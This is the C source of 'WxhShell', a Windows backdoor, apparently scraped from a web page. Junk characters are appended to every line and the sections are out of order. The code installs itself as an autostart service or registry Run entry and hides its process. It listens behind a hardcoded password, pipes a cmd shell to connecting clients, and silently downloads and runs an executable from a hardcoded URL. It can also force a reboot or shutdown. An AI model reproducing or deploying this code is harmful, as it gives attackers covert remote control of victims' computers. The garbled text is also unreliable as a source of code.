    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,P auP~L  
    else { NA/+bgyuT>  
    closesocket(wsh); * +OAc `8  
    ExitThread(0); XJ?@l3D:  
    } +Kf::[wP7  
    break; J,7_5V@jJ  
    } a#uJzYB0  
  // 获取shell 1"v;w!uh  
  case 's': { 1d\K{ 7i#  
    CmdShell(wsh); }}_WZ},h  
    closesocket(wsh); B5I(ai7<M  
    ExitThread(0); ; H:qDBH  
    break; c#HocwP@  
  } A% Bz52yg  
  // 退出 L"}@>&6  
  case 'x': { lPFMNRt~8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U]R7=  
    CloseIt(wsh); *Gu=O|Mm  
    break; 0 ?2#SM  
    } @F3d9t-  
  // 离开 .S?,%4v%%  
  case 'q': { mY`b|cS3p$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W]M[5p]*  
    closesocket(wsh); N#[/h96F  
    WSACleanup(); JBoo7a1  
    exit(1); <n6/np!  
    break; U{ahA  
        } }:jXl!:V  
  } 7kJ,;30)  
  } ?C $_?Qi  
J41ZQ  
  // 提示信息 2l\Oufer"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S:1! )7  
} ,9A[o`b  
  } GbL,k? ey  
8=2)I.   
  return; {?m',sG;&  
} 5@v!wms  
<?Lj!JGX  
// shell模块句柄 UyF]gO  
int CmdShell(SOCKET sock) i, )kI  
{ F'*{Fk h  
STARTUPINFO si; ;c;;cJc!  
ZeroMemory(&si,sizeof(si)); ]]7s9PCN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CX1'B0=\r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'E7|L@X"r  
PROCESS_INFORMATION ProcessInfo; |20p#]0E+  
char cmdline[]="cmd"; LXK+WB/s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sk1yend4  
  return 0; V'6%G:?0a  
} G7),!Qol  
5k\61(*s  
// 自身启动模式 kwyvd`J8  
int StartFromService(void) ^T<<F}@q  
{ #K4wO!d  
typedef struct 6'Lij&,f?{  
{ 7M$>'PfO  
  DWORD ExitStatus; Fe/*U4xU  
  DWORD PebBaseAddress; FJ2^0s/"  
  DWORD AffinityMask; 2^:5aABQ  
  DWORD BasePriority; 3 F4I{L  
  ULONG UniqueProcessId; GQ[\R&]q<  
  ULONG InheritedFromUniqueProcessId; /#Xz+#SqY  
}   PROCESS_BASIC_INFORMATION; 9wI1/>  
RWoa'lnu  
PROCNTQSIP NtQueryInformationProcess; C"F(kgL  
@0)bY*njj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2smLv1w@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; : 0%V:B  
( E0be.  
  HANDLE             hProcess; k@wxN!w;  
  PROCESS_BASIC_INFORMATION pbi; zb9$  
7%?A0%>6G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y t<K!=7&  
  if(NULL == hInst ) return 0; ^ 5UIbA(  
Qb SX'mx<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gx9H=c>/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Ol/r=/&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2?m'Dy'JE  
ND I|;   
  if (!NtQueryInformationProcess) return 0; ,ur_n7+LH  
1YS{; y[o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !J+5l&  
  if(!hProcess) return 0; _$F I>  
q'1rSK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EmH2 Dbw  
yCm iW %L4  
  CloseHandle(hProcess); X#p E!mT  
OP>'<FK   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fwOvlD&e  
if(hProcess==NULL) return 0; ] ^.#d  
Z$+0gm\Cnw  
HMODULE hMod; \a}%/_M\  
char procName[255]; N]5-#  
unsigned long cbNeeded; !rwv~9I  
//AS44^IS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #5'9T:8  
sYp@.?Tz  
  CloseHandle(hProcess); ya|7hz{  
e&wW lB![  
if(strstr(procName,"services")) return 1; // 以服务启动 v_oNM5w  
#Ok*O r  
  return 0; // 注册表启动 *xt3mv/<z  
} OHH wcJ7N  
-,p(PK  
// 主模块 \]o#tYN\a0  
int StartWxhshell(LPSTR lpCmdLine) yyBy|7QgO  
{ :;]6\/ky  
  SOCKET wsl; QZzi4[-as  
BOOL val=TRUE; N|8TE7- F|  
  int port=0; O[q {y  
  struct sockaddr_in door; dx:],VB  
6R#f 8  
  if(wscfg.ws_autoins) Install(); -x7b6o>$  
[['un\~r~  
port=atoi(lpCmdLine); s_VP(Fe@K  
uZg Kex;c  
if(port<=0) port=wscfg.ws_port; =cg0o_q8  
1'Kn:I  
  WSADATA data; A<AZs~f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cg-khRgLS  
friNo^v&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ci|6SaY*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M"5,8Q`PkI  
  door.sin_family = AF_INET; +MXI;k_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _kgw+NA&-H  
  door.sin_port = htons(port); wD"Y1?Mr  
\~U8<z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JZN'U<R  
closesocket(wsl); 41,Mt  
return 1; \u2p]K>  
} aQw?r  
mZ*!$P:vy"  
  if(listen(wsl,2) == INVALID_SOCKET) { A=E1S{C  
closesocket(wsl); ?MyXii<a  
return 1; [,$] %|6wt  
} 2et7Vw  
  Wxhshell(wsl); =A04E  
  WSACleanup();  [v#t  
hQPiGIs  
return 0; XkOsnI8n  
d\D.l^  
} ^q7 fN0"6  
\h?C G_|]  
// 以NT服务方式启动 yw$er?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }M * Oo  
{ &+d>xy\^/  
DWORD   status = 0; ojUBa/  
  DWORD   specificError = 0xfffffff; j:\MrYt0H  
i\2~yXw\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z6A*9m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]xfu @''  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tf<1Z{9  
  serviceStatus.dwWin32ExitCode     = 0; F3i+t+Jt  
  serviceStatus.dwServiceSpecificExitCode = 0; Hq3"OMGq  
  serviceStatus.dwCheckPoint       = 0; X^eTf-*T  
  serviceStatus.dwWaitHint       = 0; |Fm(  
uI!rJc>TX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PW~+=,  
  if (hServiceStatusHandle==0) return; pQ!NhzQ  
[n44;  
status = GetLastError(); xP "7B9B  
  if (status!=NO_ERROR) >@rsh-Z  
{ ;1A4p`)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  w:#yu  
    serviceStatus.dwCheckPoint       = 0; #\_N-bVu  
    serviceStatus.dwWaitHint       = 0; a4Fe MCvV9  
    serviceStatus.dwWin32ExitCode     = status; S{7A3 x'B  
    serviceStatus.dwServiceSpecificExitCode = specificError; k$j>_U? P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6DD"Asi+  
    return; nM>oG'm[n  
  } :]v%6i.  
pMe'fC~*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MOKg[ j  
  serviceStatus.dwCheckPoint       = 0; 0V@u]  
  serviceStatus.dwWaitHint       = 0; -O:+?gG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ux2(Oph  
} #;# V1  
4 >at# Zc  
// 处理NT服务事件,比如:启动、停止 yF0\$%H>$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T6*naH  
{ Lo5itW  
switch(fdwControl) gu7mGHn-  
{  pQKR  
case SERVICE_CONTROL_STOP: #HfvY}[o  
  serviceStatus.dwWin32ExitCode = 0; NiQ`,Q$B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?| s1Cuc  
  serviceStatus.dwCheckPoint   = 0; [I^>ji0V  
  serviceStatus.dwWaitHint     = 0; imv[xBA(d  
  { BxS\ "W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Nz~4ebB  
  } Mk Er|w'  
  return; %QCh#v=ks  
case SERVICE_CONTROL_PAUSE: Y!N *J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M{<cqxY  
  break; BqC!78Y/e  
case SERVICE_CONTROL_CONTINUE: y0k*iS e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )7l+\t  
  break; e)]9u$x  
case SERVICE_CONTROL_INTERROGATE: k7z;^:  
  break; BT.;l I  
};  \09eH[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _~ZNX+4  
} /7/d u[P6  
OX d617  
// 标准应用程序主函数 ACxOC2\n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q|;_G#4  
{ 61L  vT"  
MF)Xc\}0p  
// 获取操作系统版本 RB`Emp&T  
OsIsNt=GetOsVer(); GVP"~I~/:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]r8t^bqe  
pC2ZN  
  // 从命令行安装 [DpGL/Y.  
  if(strpbrk(lpCmdLine,"iI")) Install(); RY3ANEu+  
/Uth#s:  
  // 下载执行文件 Ab ,n^  
if(wscfg.ws_downexe) { :vZ8n6J[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ? FGzw  
  WinExec(wscfg.ws_filenam,SW_HIDE); [@fw9@_'  
} ,:Qy%k}f  
Fa:fBs{  
if(!OsIsNt) { (99P9\[p  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^ ]02)cK  
HideProc(); 1RpTI7  
StartWxhshell(lpCmdLine); l?2(c  
} F67%xz0  
else ()a(PvEO  
  if(StartFromService()) 5N<f\W,  
  // 以服务方式启动 78zjC6}`  
  StartServiceCtrlDispatcher(DispatchTable); (hWr!(>C4]  
else \n$s5i-  
  // 普通方式启动 QWz5iM  
  StartWxhshell(lpCmdLine); a$H*C(wL  
pESlBQ7{I  
return 0; =oQw?,eY  
} +y'V  
nm5zX,  
VOr*YB&  
K(@QKRZ7[  
=========================================== g S xK9P  
Whp;wAz  
B7BXS*_b  
zea=vx>`  
v'gP,UO-%D  
)[_A{#&  
" b~dm+5W7  
mC OJ1}  
#include <stdio.h> uTgBnv(Y*  
#include <string.h> _yk} [x0>  
#include <windows.h> M0VC-\W7f  
#include <winsock2.h> o>*vG  
#include <winsvc.h> XN65bq  
#include <urlmon.h> b Lag&c)  
~_<I}!j/B  
#pragma comment (lib, "Ws2_32.lib") &U q++f6  
#pragma comment (lib, "urlmon.lib") o_; pEe  
J%}9"Q5  
#define MAX_USER   100 // 最大客户端连接数 Hbwjs?Vq?]  
#define BUF_SOCK   200 // sock buffer q,6 y{RyS  
#define KEY_BUFF   255 // 输入 buffer 5(e?,B }  
G%0G$3W"  
#define REBOOT     0   // 重启 H^_]' ~.  
#define SHUTDOWN   1   // 关机 D lz||==  
:aHD'K  
#define DEF_PORT   5000 // 监听端口 'D#iT}Vu  
eLE9-K+  
#define REG_LEN     16   // 注册表键长度 4bXAA9"  
#define SVC_LEN     80   // NT服务名长度 tTrUVuZ  
B~z P!^m  
// 从dll定义API uMOm<kn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %SORs(4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7 +A-S9P)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3S='/^l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w}n:_e  
]yu,YZ@7  
// wxhshell配置信息 L$zI_ z  
struct WSCFG { !#cZ!  
  int ws_port;         // 监听端口 8was/^9;  
  char ws_passstr[REG_LEN]; // 口令 $T* ##kyE9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0=Jf93D5  
  char ws_regname[REG_LEN]; // 注册表键名 2_Me 4  
  char ws_svcname[REG_LEN]; // 服务名 09?n5x!6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yas!w'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K8E:8`_cx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~@ a7RiE@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @?ntMh6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z-[nHSf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cy)b/4h@  
iw1((&^)"  
}; Yc;cf% c1  
T{=.mW^ x  
// default Wxhshell configuration tMGkm8y-A  
struct WSCFG wscfg={DEF_PORT, SR>Sq2cW0  
    "xuhuanlingzhe", .gUceXWH3  
    1, z{T2! w~[  
    "Wxhshell", G"!YV#"~  
    "Wxhshell", 7s:`]V%  
            "WxhShell Service", }gi>Z  
    "Wrsky Windows CmdShell Service", !M:m(6E1  
    "Please Input Your Password: ", *]G&pmMs  
  1, [{3WHS.  
  "http://www.wrsky.com/wxhshell.exe", <()xO(  
  "Wxhshell.exe" $s2Ty1  
    }; L'=e /&  
xTQV?g J  
// 消息定义模块 ,Ie~zZE&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8>q:Q<BB2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]PdpC"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E:BEQ:(~L  
char *msg_ws_ext="\n\rExit."; S!J.$Y<Ko  
char *msg_ws_end="\n\rQuit."; x)<5f|j  
char *msg_ws_boot="\n\rReboot..."; %8iA0t+  
char *msg_ws_poff="\n\rShutdown..."; y$@d%U*rW^  
char *msg_ws_down="\n\rSave to "; qmUq9bV  
9_IR%bm  
char *msg_ws_err="\n\rErr!"; PHRc*G{  
char *msg_ws_ok="\n\rOK!"; X'N 4a  
<LM<,  
char ExeFile[MAX_PATH];  iqf+rBL  
int nUser = 0; $ hB;r  
HANDLE handles[MAX_USER]; m'1NZV%#  
int OsIsNt; #|^7{TN   
5r/QPJ<h  
SERVICE_STATUS       serviceStatus; cn ,zUG!-h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =DTn9}u  
gOw|s1`2,  
// 函数声明 ~D@pk>I  
int Install(void); )CS 7>Vx  
int Uninstall(void); V M[9!:  
int DownloadFile(char *sURL, SOCKET wsh); K8*QS_*  
int Boot(int flag); Z4'"*  
void HideProc(void); uE:#m.Q  
int GetOsVer(void); R =HN>(U  
int Wxhshell(SOCKET wsl); S |T:rc(~  
void TalkWithClient(void *cs); #f]R:Ix>  
int CmdShell(SOCKET sock); gUDd2T#  
int StartFromService(void); EVmQ"PKL'  
int StartWxhshell(LPSTR lpCmdLine); %z! w- u+  
IBl}.o&]B#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HC w$v#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); js Tb0  
`xe[\Z2  
// 数据结构和表定义 ]OY6.m  
SERVICE_TABLE_ENTRY DispatchTable[] = yAEOn/.~  
{ g=; rM8W  
{wscfg.ws_svcname, NTServiceMain}, j-$aa;  
{NULL, NULL} P,AS`=z  
}; 9\TvX!)h  
LXIlrZ9D5  
// 自我安装 XboOvdt^|  
int Install(void) `<y[V  
{ :YjOv  
  char svExeFile[MAX_PATH]; Tp~yn  
  HKEY key; ]>E9v&X0  
  strcpy(svExeFile,ExeFile); eG # (9  
Rz`<E97-  
// 如果是win9x系统,修改注册表设为自启动 93fKv  
if(!OsIsNt) { `u:U{m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #c4LdZu9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xTD6?X'4  
  RegCloseKey(key); O60jC;{F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IgEg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5WP[-J)  
  RegCloseKey(key); 9}X3Q!iFb  
  return 0; G%ycAm  
    } .&7=ZY>E  
  } U._ U!U  
} M@!Gk  
else { ]Ke|wRQD  
k}>l+_*+7  
// 如果是NT以上系统,安装为系统服务 =YA%= d_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SiojOH  
if (schSCManager!=0) #Vn=(U4}!_  
{ m'k`p5[=h  
  SC_HANDLE schService = CreateService wO} 3i6  
  ( c%pW'UE&  
  schSCManager, C Cq<y  
  wscfg.ws_svcname, K1O/>dN_\O  
  wscfg.ws_svcdisp, 9YHSL[  
  SERVICE_ALL_ACCESS, ~QBf78@Gf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $';'MoS  
  SERVICE_AUTO_START, S,AZrgh,"X  
  SERVICE_ERROR_NORMAL, $$ _ uQf  
  svExeFile, sLbz@54  
  NULL, toTAWT D  
  NULL, /dOQ4VA\  
  NULL, =i%2/kdi0b  
  NULL, PyYKeo=  
  NULL ;~~Oc  
  ); a,cDj  
  if (schService!=0) cdU2ph_  
  { R$,`}@VqZ3  
  CloseServiceHandle(schService); nq/xD;q  
  CloseServiceHandle(schSCManager); y#AY+ >  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U YUIpe  
  strcat(svExeFile,wscfg.ws_svcname); .NjdkHYR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1b3Lan_2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +Q-~~v7,  
  RegCloseKey(key); (~Zg\(5#  
  return 0; 58e{WC  
    } Zy*}C,Z  
  } 3{MIBMA  
  CloseServiceHandle(schSCManager); w#PaN83+  
} ' 1P_*  
} I4|p;\`fK  
cIM5;"gLP  
return 1; vp mSzh  
} 7C2/^x P  
Qg 6m  
// 自我卸载 }sJ% InL  
int Uninstall(void) 0 SKt8pL`  
{ ;t?pyFT2Z  
  HKEY key; Ur&: Rr  
"6KOql3  
if(!OsIsNt) { Cc Ni8Wg_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sef!hS06  
  RegDeleteValue(key,wscfg.ws_regname); njUM>E,'  
  RegCloseKey(key); {z F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eA4*Be;9e  
  RegDeleteValue(key,wscfg.ws_regname); m(OBk;S~   
  RegCloseKey(key); ? !~au0  
  return 0; =:"@YD^a4  
  } &u=FLp5  
} mz\ m^g3  
} `SW`d<+L  
else { eHnC^W}|s  
82/iVm1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *DNH_8m  
if (schSCManager!=0) ;4qalxzu  
{ =Fj : #s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z%g<&Cq  
  if (schService!=0) '!1lK  
  { p$9N}}/c  
  if(DeleteService(schService)!=0) { ~o # NOfYi  
  CloseServiceHandle(schService); n.1a1Tf  
  CloseServiceHandle(schSCManager);  &R^mpV5  
  return 0; _R-#I  
  } HKxrBQr78  
  CloseServiceHandle(schService); UVI=&y]c,p  
  } sJM}p5V  
  CloseServiceHandle(schSCManager); IBF>4q m"  
} i-ogeR?  
} IB;y8e,  
hcf>J6ZLT  
return 1; *n[Fl  
} [6|8Gx :  
"t\9@nzdX  
// 从指定url下载文件 IS=)J( 0  
int DownloadFile(char *sURL, SOCKET wsh) QM_~w \  
{ 6|jE3rHw  
  HRESULT hr; 3 t_5Xacj  
char seps[]= "/"; X*Q7Yu  
char *token; qob!!A14p  
char *file; d,0pNav)  
char myURL[MAX_PATH]; A23Z)`  
char myFILE[MAX_PATH]; )7`~U"r  
0>?mF]M  
strcpy(myURL,sURL); S7SPc   
  token=strtok(myURL,seps); (6A{6_p  
  while(token!=NULL) rpXw 8  
  { rvfl~<G*  
    file=token; ftH 0aI  
  token=strtok(NULL,seps); CNN?8/u!@  
  } kU^@R<Fo  
:iWV:0)P  
GetCurrentDirectory(MAX_PATH,myFILE); ^a}{u$<  
strcat(myFILE, "\\"); v0xi(Wu  
strcat(myFILE, file); 6R,;c7Izhd  
  send(wsh,myFILE,strlen(myFILE),0); 9,>M/_8>  
send(wsh,"...",3,0); d8r+UP@#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Q)~'P3  
  if(hr==S_OK) /kWWwy<  
return 0; < 1r.p<s  
else r-0 7!A  
return 1; 1%:A9%O)t  
gSv<.fD"  
} $N ]P#g?Q  
0ib 6}L%  
// 系统电源模块 Pb`sn5;  
int Boot(int flag) #,9|Hr%  
{ zld>o3K}  
  HANDLE hToken; o. _^  
  TOKEN_PRIVILEGES tkp; So 5{E 4[  
nbRg<@  
  if(OsIsNt) { UM]wDFn'E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a3)#tt=rA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j>:T)zhyY  
    tkp.PrivilegeCount = 1; @]7\.>)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ynd}w G'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oy'+n-  
if(flag==REBOOT) { YS~x-5OE\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }v!6BU6<Q  
  return 0; 0qZ)$ YKq  
} g[n8N{s  
else { Lr~K3nb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?t"PawBWE  
  return 0; 3HiW1*5W  
} lt]U?VZ   
  } QRjt.Ry|  
  else { t2gjhn^p  
if(flag==REBOOT) { e8#3Y+Tc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \r 2qH0B  
  return 0; 2u:j6ic  
} Ue7W&N^E  
else { .`p_vS9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oF^BJ8%Lm  
  return 0; g:)v thOs  
} +Oscy-;  
} 1W8W/Y=hT  
O^:h_L  
return 1; 2=|IOkY  
} GwV FD%  
@W,Y_8:  
// win9x进程隐藏模块 IY:O?M  
void HideProc(void) SrtmpQ  
{ vOS0E^  
5zGj,y>u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WWL Vy(  
  if ( hKernel != NULL ) _7<U[63  
  { :6 fQE#(s&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QUDVsN#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?uN(" I  
    FreeLibrary(hKernel); )-{~7@yqZ  
  } a8 1%M  
rifxr4c[X>  
return; `lhLIQ'j  
} <j#EyGAV  
-T8 gV1*(<  
// 获取操作系统版本 1sJN^BvuG  
int GetOsVer(void) lN'/Z&62  
{ ""d>f4,S  
  OSVERSIONINFO winfo; a3 x~B=E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e2fct|'  
  GetVersionEx(&winfo); B@=<'/S\7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AIyv;}5  
  return 1; Kd)m"9Cc  
  else ss<'g@R  
  return 0; abnd U,s  
} #77UKYj2L-  
U VKN#"_{  
// 客户端句柄模块 ^4[[+r  
int Wxhshell(SOCKET wsl) %np#Bv-L  
{ "Zk6B"o)  
  SOCKET wsh; av?BpN"l  
  struct sockaddr_in client; "BRE0Ir:  
  DWORD myID; ,LZ:y1z'V-  
a AM UJk  
  while(nUser<MAX_USER) MDP MOA  
{  aC: l;  
  int nSize=sizeof(client); l'T0<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p#d UL9  
  if(wsh==INVALID_SOCKET) return 1; G,-OH-M!  
j%;)CV G"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F21[r!3  
if(handles[nUser]==0) Z L</  
  closesocket(wsh); ([*t.  
else DcA'{21  
  nUser++; !&lPdEc@T  
  } B6\VxSX4{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (Y)h+}n5N  
?m1$*j  
  return 0; ]LTc)[5Zj  
} <h=M Rw,l  
?<'W~Rm6n  
// 关闭 socket % eRwH >  
void CloseIt(SOCKET wsh) 29^bMau)v  
{ S(i(1Hs.  
closesocket(wsh); b<AE}UK  
nUser--; Ba0D"2CgY  
ExitThread(0); y Xx62J  
} e,&%Z  
QtQ^"d65  
// 客户端请求句柄 ssITe., ny  
void TalkWithClient(void *cs) >` QX xTn  
{ g{hA,-3  
[Z\1"m  
  SOCKET wsh=(SOCKET)cs; +3>/,w(x  
  char pwd[SVC_LEN]; x 5Dt5Yp"o  
  char cmd[KEY_BUFF]; {Ch"zuPX  
char chr[1]; F |81i$R  
int i,j; +c`C9RXk  
~4MjJKzA  
  while (nUser < MAX_USER) { RCYbRR4y  
"n }fEVJ,  
if(wscfg.ws_passstr) { Q+(:n)G_6E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2bnIT>(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X#,[2&17Fh  
  //ZeroMemory(pwd,KEY_BUFF); 7 afA'.=  
      i=0; -Y?(Zz_w  
  while(i<SVC_LEN) { KHz838C]  
dY@Tt&k8E  
  // 设置超时 ]wpYxos  
  fd_set FdRead; }]+}Tipd  
  struct timeval TimeOut; >5Oy^u6Ly  
  FD_ZERO(&FdRead); $Wzv$4;  
  FD_SET(wsh,&FdRead); [KI`e  
  TimeOut.tv_sec=8; /%9p9$kFot  
  TimeOut.tv_usec=0; AdOAh y2H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *9Js:z7I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #4 &N0IG  
1r& ?J.z25  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C$G88hesn  
  pwd=chr[0]; Q EGanpz  
  if(chr[0]==0xd || chr[0]==0xa) { ({ kGK0  
  pwd=0; ?>jArzI  
  break; G>S1Ld'MV  
  } _8pkejg  
  i++; s*/ G- lY  
    } 36WzFq#  
'3UIriY6  
  // 如果是非法用户,关闭 socket dzNaow*0&V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PB<Sc>{U  
} N|d.!Q;V.y  
a 8hv.43  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (Zn3-t*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q\ y#  
Y_3YO 2K]  
while(1) { k;AiG8jb  
V'f5-E0  
  ZeroMemory(cmd,KEY_BUFF); FJ,\?ooGf  
*5'6 E'  
      // 自动支持客户端 telnet标准   >\x_"oR  
  j=0; G%8)6m'3  
  while(j<KEY_BUFF) { `pAp[]SfQd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )7"DR+;:  
  cmd[j]=chr[0]; 2]RH)W86;  
  if(chr[0]==0xa || chr[0]==0xd) { I cA\3j  
  cmd[j]=0; 9g5{3N3  
  break; %%,hR'+|  
  } '`~(Fkj  
  j++; `{Di*  
    } LOUKUReE  
$17 v,  
  // 下载文件 4U a~*58  
  if(strstr(cmd,"http://")) { B0XBI0w^Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WlRZ|.  
  if(DownloadFile(cmd,wsh)) &T/q0bwd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^_S-s\DW  
  else K6yFpVl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h-+a;![  
  } bb0McEQy  
  else { ?)o4 Kt'h  
t k/K0u  
    switch(cmd[0]) { >;&V~q:di  
  Y=Ar3O*F  
  // 帮助 yH"$t/cU"R  
